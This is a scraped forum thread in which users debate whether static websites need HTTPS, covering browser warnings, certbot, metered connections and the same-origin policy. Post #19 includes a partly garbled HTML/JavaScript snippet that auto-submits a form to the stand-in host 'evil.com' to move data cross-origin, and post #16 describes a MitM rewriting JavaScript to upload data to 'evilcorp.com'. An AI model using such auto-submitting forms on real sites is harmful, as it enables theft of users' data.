A big reason is that Chrome (and others?) specifically show 'Not Secure' for all sites not using https.
Why Static Websites Need HTTPS
11–20 of 268 posts
Re: Why Static Websites Need HTTPS
#12When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1]
Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding how Let's Encrypt works).
[1] https://www.nspw.org/2009/proceedings/2009/nspw2009-herley.p...
Re: Why Static Websites Need HTTPS
#13Actually one service that DNS providers should offer is generating and renewing let's encrypt wildcard certificates automatically, and offering their clients to download them through some API. That would make life a lot easier for less technical devs who are intimidated by the complexity of pki.
Re: Why Static Websites Need HTTPS
#14When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1] Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding h…
Pretty sure you can use certbot and just run like... a few commands. Even easier than setting up Nginx.
Re: Why Static Websites Need HTTPS
#15And one reason it doesn't: https://meyerweb.com/eric/thoughts/2018/08/07/securing-sites...
Secure websites make the web less accessible for those who rely on metered satellite internet (and I'm sure plenty of other cases).
Know who your demographic is and make sure you don't make things more difficult for them. Maybe provide an option for users to access your static site on a separate insecure domain, clearly labeled as such.
Re: Why Static Websites Need HTTPS
#16I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content. One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS…
> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.
Re: Why Static Websites Need HTTPS
#17I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content. One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS…
> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially m…
Re: Why Static Websites Need HTTPS
#18A big reason is that Chrome (and others?) specifically show 'Not Secure' for all sites not using https.
This is a massive reason, imo. The average user views that url annotation as a bad thing. They don't know it's static, or even what "static" refers to.
Re: Why Static Websites Need HTTPS
#19Earlier quoted context omitted.
> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially m…
No. https://en.wikipedia.org/wiki/Same-origin_policy
There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously https://evil.com/" method="post" id="dummy">window.dummy.submit();.
In general terms, you can often write cross-origin, but you can't read.
Re: Why Static Websites Need HTTPS
#20When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1] Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding h…
Pretty sure you can use certbot and just run like... a few commands. Even easier than setting up Nginx.
[deleted]